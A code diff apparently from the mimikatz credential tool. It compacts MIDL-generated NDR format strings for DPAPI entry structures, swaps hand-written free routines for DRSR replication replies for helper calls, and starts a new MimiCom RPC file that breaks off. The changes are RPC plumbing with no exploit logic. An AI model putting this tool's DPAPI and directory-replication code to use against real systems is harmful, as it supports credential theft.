-	unsigned char  Format[ _dpapi2Dentries_MIDL_TYPE_FORMAT_STRING_SIZE ];
+	SHORT Pad;
+	UCHAR Format[_dpapi2Dentries_MIDL_TYPE_FORMAT_STRING_SIZE];
 } dpapi2Dentries_MIDL_TYPE_FORMAT_STRING;

 extern const dpapi2Dentries_MIDL_TYPE_FORMAT_STRING dpapi2Dentries__MIDL_TypeFormatString;
@ -47,436 +39,25 @@ void KUHL_M_DPAPI_ENTRIES_Free(handle_t _MidlEsHandle, KUHL_M_DPAPI_ENTRIES * _p
    NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &DPAPIEntries_StubDesc, (PFORMAT_STRING) &dpapi2Dentries__MIDL_TypeFormatString.Format[_dpapi2Dentries_MIDL_TYPE_FORMAT_OFFSET], _pType);
 }
 #ifdef _M_X64
-static const dpapi2Dentries_MIDL_TYPE_FORMAT_STRING dpapi2Dentries__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/*  4 */	NdrFcShort( 0x8 ),	/* 8 */
-/*  6 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/*  8 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 10 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 12 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 14 */	0x6,		/* FC_SHORT */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 16 */	0x0,		/* 0 */
-			NdrFcShort( 0xfff1 ),	/* Offset= -15 (2) */
-			0x5b,		/* FC_END */
-/* 20 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/* 22 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 24 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 26 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 28 */	NdrFcShort( 0x24 ),	/* 36 */
-/* 30 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 32 */	NdrFcShort( 0xffe8 ),	/* Offset= -24 (8) */
-/* 34 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 36 */	NdrFcShort( 0xfff0 ),	/* Offset= -16 (20) */
-/* 38 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 40 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 42 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 44 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 46 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 48 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 50 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 54 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 56 */	
-			0x12, 0x0,	/* FC_UP */
-/* 58 */	NdrFcShort( 0xffe0 ),	/* Offset= -32 (26) */
-/* 60 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 62 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/* 64 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 66 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 68 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 70 */	NdrFcShort( 0x90 ),	/* 144 */
-/* 72 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 74 */	NdrFcShort( 0x22 ),	/* Offset= 34 (108) */
-/* 76 */	0x8,		/* FC_LONG */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 78 */	0x0,		/* 0 */
-			NdrFcShort( 0xffb9 ),	/* Offset= -71 (8) */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 82 */	0x36,		/* FC_POINTER */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 84 */	0x0,		/* 0 */
-			NdrFcShort( 0xffe9 ),	/* Offset= -23 (62) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 88 */	0x0,		/* 0 */
-			NdrFcShort( 0xffbb ),	/* Offset= -69 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 92 */	0x0,		/* 0 */
-			NdrFcShort( 0xffb7 ),	/* Offset= -73 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 96 */	0x0,		/* 0 */
-			NdrFcShort( 0xffb3 ),	/* Offset= -77 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 100 */	0x0,		/* 0 */
-			NdrFcShort( 0xffd9 ),	/* Offset= -39 (62) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 104 */	0x0,		/* 0 */
-			NdrFcShort( 0xffab ),	/* Offset= -85 (20) */
-			0x5b,		/* FC_END */
-/* 108 */	
-			0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 110 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 112 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 114 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 116 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 118 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 120 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 122 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 126 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 128 */	
-			0x12, 0x0,	/* FC_UP */
-/* 130 */	NdrFcShort( 0xffc2 ),	/* Offset= -62 (68) */
-/* 132 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 134 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 136 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 138 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 140 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 142 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 144 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 146 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 148 */	NdrFcShort( 0x20 ),	/* 32 */
-/* 150 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 152 */	NdrFcShort( 0xa ),	/* Offset= 10 (162) */
-/* 154 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 156 */	NdrFcShort( 0xff6c ),	/* Offset= -148 (8) */
-/* 158 */	0x8,		/* FC_LONG */
-			0x8,		/* FC_LONG */
-/* 160 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 162 */	
-			0x12, 0x0,	/* FC_UP */
-/* 164 */	NdrFcShort( 0xffe2 ),	/* Offset= -30 (134) */
-/* 166 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 168 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 170 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 172 */	NdrFcShort( 0x20 ),	/* 32 */
-/* 174 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 176 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 180 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 182 */	
-			0x12, 0x0,	/* FC_UP */
-/* 184 */	NdrFcShort( 0xffda ),	/* Offset= -38 (146) */
-/* 186 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 188 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 190 */	NdrFcShort( 0x30 ),	/* 48 */
-/* 192 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 194 */	NdrFcShort( 0xc ),	/* Offset= 12 (206) */
-/* 196 */	0x8,		/* FC_LONG */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 198 */	0x36,		/* FC_POINTER */
-			0x8,		/* FC_LONG */
-/* 200 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 202 */	0x8,		/* FC_LONG */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 204 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 206 */	
-			0x12, 0x0,	/* FC_UP */
-/* 208 */	NdrFcShort( 0xff58 ),	/* Offset= -168 (40) */
-/* 210 */	
-			0x12, 0x0,	/* FC_UP */
-/* 212 */	NdrFcShort( 0xff9c ),	/* Offset= -100 (112) */
-/* 214 */	
-			0x12, 0x0,	/* FC_UP */
-/* 216 */	NdrFcShort( 0xffce ),	/* Offset= -50 (166) */
-
-			0x0
-        }
-    };
+static const dpapi2Dentries_MIDL_TYPE_FORMAT_STRING dpapi2Dentries__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x1d, 0x00, 0x14, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x24, 0x00, 0x4c, 0x00,
+	0xe8, 0xff, 0x4c, 0x00, 0xf0, 0xff, 0x5c, 0x5b, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x12, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x1d, 0x00,
+	0x10, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x90, 0x00, 0x00, 0x00, 0x22, 0x00, 0x08, 0x4c, 0x00, 0xb9, 0xff, 0x40, 0x36, 0x4c, 0x00, 0xe9, 0xff, 0x4c, 0x00, 0xbb, 0xff, 0x4c, 0x00, 0xb7, 0xff, 0x4c,
+	0x00, 0xb3, 0xff, 0x4c, 0x00, 0xd9, 0xff, 0x4c, 0x00, 0xab, 0xff, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x10, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00,
+	0x12, 0x00, 0xc2, 0xff, 0x5c, 0x5b, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0x6c, 0xff, 0x08, 0x08,
+	0x36, 0x5b, 0x12, 0x00, 0xe2, 0xff, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x20, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x12, 0x00, 0xda, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x30, 0x00,
+	0x00, 0x00, 0x0c, 0x00, 0x08, 0x40, 0x36, 0x08, 0x40, 0x36, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x00, 0x58, 0xff, 0x12, 0x00, 0x9c, 0xff, 0x12, 0x00, 0xce, 0xff, 0x00,
+}};
 #elif defined _M_IX86
-static const dpapi2Dentries_MIDL_TYPE_FORMAT_STRING dpapi2Dentries__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/*  4 */	NdrFcShort( 0x8 ),	/* 8 */
-/*  6 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/*  8 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 10 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 12 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 14 */	0x6,		/* FC_SHORT */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 16 */	0x0,		/* 0 */
-			NdrFcShort( 0xfff1 ),	/* Offset= -15 (2) */
-			0x5b,		/* FC_END */
-/* 20 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/* 22 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 24 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 26 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 28 */	NdrFcShort( 0x24 ),	/* 36 */
-/* 30 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 32 */	NdrFcShort( 0xffe8 ),	/* Offset= -24 (8) */
-/* 34 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 36 */	NdrFcShort( 0xfff0 ),	/* Offset= -16 (20) */
-/* 38 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 40 */	
-			0x1b,		/* FC_CARRAY */
-			0x3,		/* 3 */
-/* 42 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 44 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 46 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 48 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 50 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 52 */	
-			0x48,		/* FC_VARIABLE_REPEAT */
-			0x49,		/* FC_FIXED_OFFSET */
-/* 54 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 56 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 58 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 60 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 62 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 64 */	0x12, 0x0,	/* FC_UP */
-/* 66 */	NdrFcShort( 0xffd8 ),	/* Offset= -40 (26) */
-/* 68 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 70 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 72 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/* 74 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 76 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 78 */	
-			0x16,		/* FC_PSTRUCT */
-			0x3,		/* 3 */
-/* 80 */	NdrFcShort( 0x88 ),	/* 136 */
-/* 82 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 84 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 86 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 88 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 90 */	0x12, 0x8,	/* FC_UP [simple_pointer] */
-/* 92 */	
-			0x25,		/* FC_C_WSTRING */
-			0x5c,		/* FC_PAD */
-/* 94 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 96 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 98 */	NdrFcShort( 0xffa6 ),	/* Offset= -90 (8) */
-/* 100 */	0x8,		/* FC_LONG */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 102 */	0x0,		/* 0 */
-			NdrFcShort( 0xffe1 ),	/* Offset= -31 (72) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 106 */	0x0,		/* 0 */
-			NdrFcShort( 0xffa9 ),	/* Offset= -87 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 110 */	0x0,		/* 0 */
-			NdrFcShort( 0xffa5 ),	/* Offset= -91 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 114 */	0x0,		/* 0 */
-			NdrFcShort( 0xffa1 ),	/* Offset= -95 (20) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 118 */	0x0,		/* 0 */
-			NdrFcShort( 0xffd1 ),	/* Offset= -47 (72) */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 122 */	0x0,		/* 0 */
-			NdrFcShort( 0xff99 ),	/* Offset= -103 (20) */
-			0x5b,		/* FC_END */
-/* 126 */	
-			0x1b,		/* FC_CARRAY */
-			0x3,		/* 3 */
-/* 128 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 130 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 132 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 134 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 136 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 138 */	
-			0x48,		/* FC_VARIABLE_REPEAT */
-			0x49,		/* FC_FIXED_OFFSET */
-/* 140 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 142 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 144 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 146 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 148 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 150 */	0x12, 0x0,	/* FC_UP */
-/* 152 */	NdrFcShort( 0xffb6 ),	/* Offset= -74 (78) */
-/* 154 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 156 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 158 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 160 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 162 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 164 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 166 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 168 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 170 */	
-			0x16,		/* FC_PSTRUCT */
-			0x3,		/* 3 */
-/* 172 */	NdrFcShort( 0x1c ),	/* 28 */
-/* 174 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 176 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 178 */	NdrFcShort( 0x18 ),	/* 24 */
-/* 180 */	NdrFcShort( 0x18 ),	/* 24 */
-/* 182 */	0x12, 0x0,	/* FC_UP */
-/* 184 */	NdrFcShort( 0xffe6 ),	/* Offset= -26 (158) */
-/* 186 */	
-			0x5b,		/* FC_END */
-
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 188 */	0x0,		/* 0 */
-			NdrFcShort( 0xff4b ),	/* Offset= -181 (8) */
-			0x8,		/* FC_LONG */
-/* 192 */	0x8,		/* FC_LONG */
-			0x8,		/* FC_LONG */
-/* 194 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 196 */	
-			0x1b,		/* FC_CARRAY */
-			0x3,		/* 3 */
-/* 198 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 200 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 202 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 204 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 206 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 208 */	
-			0x48,		/* FC_VARIABLE_REPEAT */
-			0x49,		/* FC_FIXED_OFFSET */
-/* 210 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 212 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 214 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 216 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 218 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 220 */	0x12, 0x0,	/* FC_UP */
-/* 222 */	NdrFcShort( 0xffcc ),	/* Offset= -52 (170) */
-/* 224 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 226 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 228 */	
-			0x16,		/* FC_PSTRUCT */
-			0x3,		/* 3 */
-/* 230 */	NdrFcShort( 0x18 ),	/* 24 */
-/* 232 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 234 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 236 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 238 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 240 */	0x12, 0x0,	/* FC_UP */
-/* 242 */	NdrFcShort( 0xff36 ),	/* Offset= -202 (40) */
-/* 244 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 246 */	NdrFcShort( 0xc ),	/* 12 */
-/* 248 */	NdrFcShort( 0xc ),	/* 12 */
-/* 250 */	0x12, 0x0,	/* FC_UP */
-/* 252 */	NdrFcShort( 0xff82 ),	/* Offset= -126 (126) */
-/* 254 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 256 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 258 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 260 */	0x12, 0x0,	/* FC_UP */
-/* 262 */	NdrFcShort( 0xffbe ),	/* Offset= -66 (196) */
-/* 264 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 266 */	0x8,		/* FC_LONG */
-			0x8,		/* FC_LONG */
-/* 268 */	0x8,		/* FC_LONG */
-			0x8,		/* FC_LONG */
-/* 270 */	0x8,		/* FC_LONG */
-			0x5b,		/* FC_END */
-
-			0x0
-        }
-    };
-#endif
-
-#if _MSC_VER >= 1200
-#pragma warning(pop)
+static const dpapi2Dentries_MIDL_TYPE_FORMAT_STRING dpapi2Dentries__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x1d, 0x00, 0x14, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x24, 0x00, 0x4c, 0x00,
+	0xe8, 0xff, 0x4c, 0x00, 0xf0, 0xff, 0x5c, 0x5b, 0x1b, 0x03, 0x04, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x12, 0x00, 0xd8, 0xff, 0x5b, 0x08, 0x5c, 0x5b, 0x1d, 0x00, 0x10, 0x00, 0x01, 0x5b, 0x16, 0x03, 0x88, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x14, 0x00, 0x14, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08,
+	0x4c, 0x00, 0xa6, 0xff, 0x08, 0x4c, 0x00, 0xe1, 0xff, 0x4c, 0x00, 0xa9, 0xff, 0x4c, 0x00, 0xa5, 0xff, 0x4c, 0x00, 0xa1, 0xff, 0x4c, 0x00, 0xd1, 0xff, 0x4c, 0x00, 0x99, 0xff, 0x5b, 0x1b, 0x03,
+	0x04, 0x00, 0x19, 0x00, 0x08, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0xb6, 0xff, 0x5b, 0x08, 0x5c, 0x5b, 0x1b, 0x00,
+	0x01, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x16, 0x03, 0x1c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x00, 0xe6, 0xff, 0x5b, 0x4c, 0x00, 0x4b, 0xff, 0x08,
+	0x08, 0x08, 0x5c, 0x5b, 0x1b, 0x03, 0x04, 0x00, 0x19, 0x00, 0x10, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0xcc, 0xff,
+	0x5b, 0x08, 0x5c, 0x5b, 0x16, 0x03, 0x18, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x00, 0x36, 0xff, 0x46, 0x5c, 0x0c, 0x00, 0x0c, 0x00, 0x12, 0x00, 0x82, 0xff, 0x46, 0x5c,
+	0x14, 0x00, 0x14, 0x00, 0x12, 0x00, 0xbe, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x00,
+}};
 #endif
--- a/modules/rpc/kull_m_rpc_drsr.c
+++ b/modules/rpc/kull_m_rpc_drsr.c
@ -312,31 +312,12 @@ void kull_m_rpc_drsr_free_DRS_MSG_CRACKREPLY_data(DWORD nameCrackOutVersion, DRS

 void kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data(DWORD dcOutVersion, DRS_MSG_DCINFOREPLY * reply)
 {
-	DWORD i;
 	if(reply)
 	{
 		switch (dcOutVersion)
 		{
 		case 2:
-			for(i = 0; i < reply->V2.cItems; i++)
-			{
-				if(reply->V2.rItems[i].NetbiosName)
-					MIDL_user_free(reply->V2.rItems[i].NetbiosName);
-				if(reply->V2.rItems[i].DnsHostName)
-					MIDL_user_free(reply->V2.rItems[i].DnsHostName);
-				if(reply->V2.rItems[i].SiteName)
-					MIDL_user_free(reply->V2.rItems[i].SiteName);
-				if(reply->V2.rItems[i].SiteObjectName)
-					MIDL_user_free(reply->V2.rItems[i].SiteObjectName);
-				if(reply->V2.rItems[i].ComputerObjectName)
-					MIDL_user_free(reply->V2.rItems[i].ComputerObjectName);
-				if(reply->V2.rItems[i].ServerObjectName)
-					MIDL_user_free(reply->V2.rItems[i].ServerObjectName);
-				if(reply->V2.rItems[i].NtdsDsaObjectName)
-					MIDL_user_free(reply->V2.rItems[i].NtdsDsaObjectName);
-			}
-			if(reply->V2.rItems)
-				MIDL_user_free(reply->V2.rItems);
+			kull_m_rpc_ms_drsr_FreeDRS_MSG_DCINFOREPLY_V2(&reply->V2);
 			break;
 		case 1:
 		case 3:
@ -352,55 +333,12 @@ void kull_m_rpc_drsr_free_DRS_MSG_DCINFOREPLY_data(DWORD dcOutVersion, DRS_MSG_D

 void kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data(DWORD dwOutVersion, DRS_MSG_GETCHGREPLY * reply)
 {
-	DWORD i, j;
-	REPLENTINFLIST *pReplentinflist, *pNextReplentinflist;
 	if(reply)
 	{
 		switch(dwOutVersion)
 		{
 		case 6:
-			if(reply->V6.pNC)
-				MIDL_user_free(reply->V6.pNC);
-			if(reply->V6.pUpToDateVecSrc)
-				MIDL_user_free(reply->V6.pUpToDateVecSrc);
-			kull_m_rpc_drsr_free_SCHEMA_PREFIX_TABLE_data(&reply->V6.PrefixTableSrc);
-			pNextReplentinflist = reply->V6.pObjects;
-			while(pReplentinflist = pNextReplentinflist)
-			{
-				pNextReplentinflist = pReplentinflist->pNextEntInf;
-				if(pReplentinflist->Entinf.pName)
-					MIDL_user_free(pReplentinflist->Entinf.pName);
-				if(pReplentinflist->Entinf.AttrBlock.pAttr)
-				{
-					for(i = 0; i < pReplentinflist->Entinf.AttrBlock.attrCount; i++)
-					{
-						if(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal)
-						{
-							for(j = 0; j < pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.valCount; j++)
-								if(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[j].pVal)
-									MIDL_user_free(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal[j].pVal);
-							MIDL_user_free(pReplentinflist->Entinf.AttrBlock.pAttr[i].AttrVal.pAVal);
-						}
-					}
-					MIDL_user_free(pReplentinflist->Entinf.AttrBlock.pAttr);
-				}
-				if(pReplentinflist->pParentGuid)
-					MIDL_user_free(pReplentinflist->pParentGuid);
-				if(pReplentinflist->pMetaDataExt)
-					MIDL_user_free(pReplentinflist->pMetaDataExt);
-				MIDL_user_free(pReplentinflist);
-			}
-			if(reply->V6.rgValues)
-			{
-				for(i = 0; i < reply->V6.cNumValues; i++)
-				{
-					if(reply->V6.rgValues[i].pObject)
-						MIDL_user_free(reply->V6.rgValues[i].pObject);
-					if(reply->V6.rgValues[i].Aval.pVal)
-						MIDL_user_free(reply->V6.rgValues[i].Aval.pVal);
-				}
-				MIDL_user_free(reply->V6.rgValues);
-			}
+			kull_m_rpc_ms_drsr_FreeDRS_MSG_GETCHGREPLY_V6(&reply->V6);
 			break;
 		case 1:
 		case 2:
--- a/modules/rpc/kull_m_rpc_mimicom.c
+++ b/modules/rpc/kull_m_rpc_mimicom.c
@ -0,0 +1,102 @@
+#include "kull_m_rpc_mimicom.h"
+
+#ifdef _M_X64
+#define TYPE_FORMAT_STRING_SIZE	99
+#define PROC_FORMAT_STRING_SIZE	167
+static const unsigned short MimiCom_FormatStringOffsetTable[] = {0, 54, 98};
+#elif defined _M_IX86
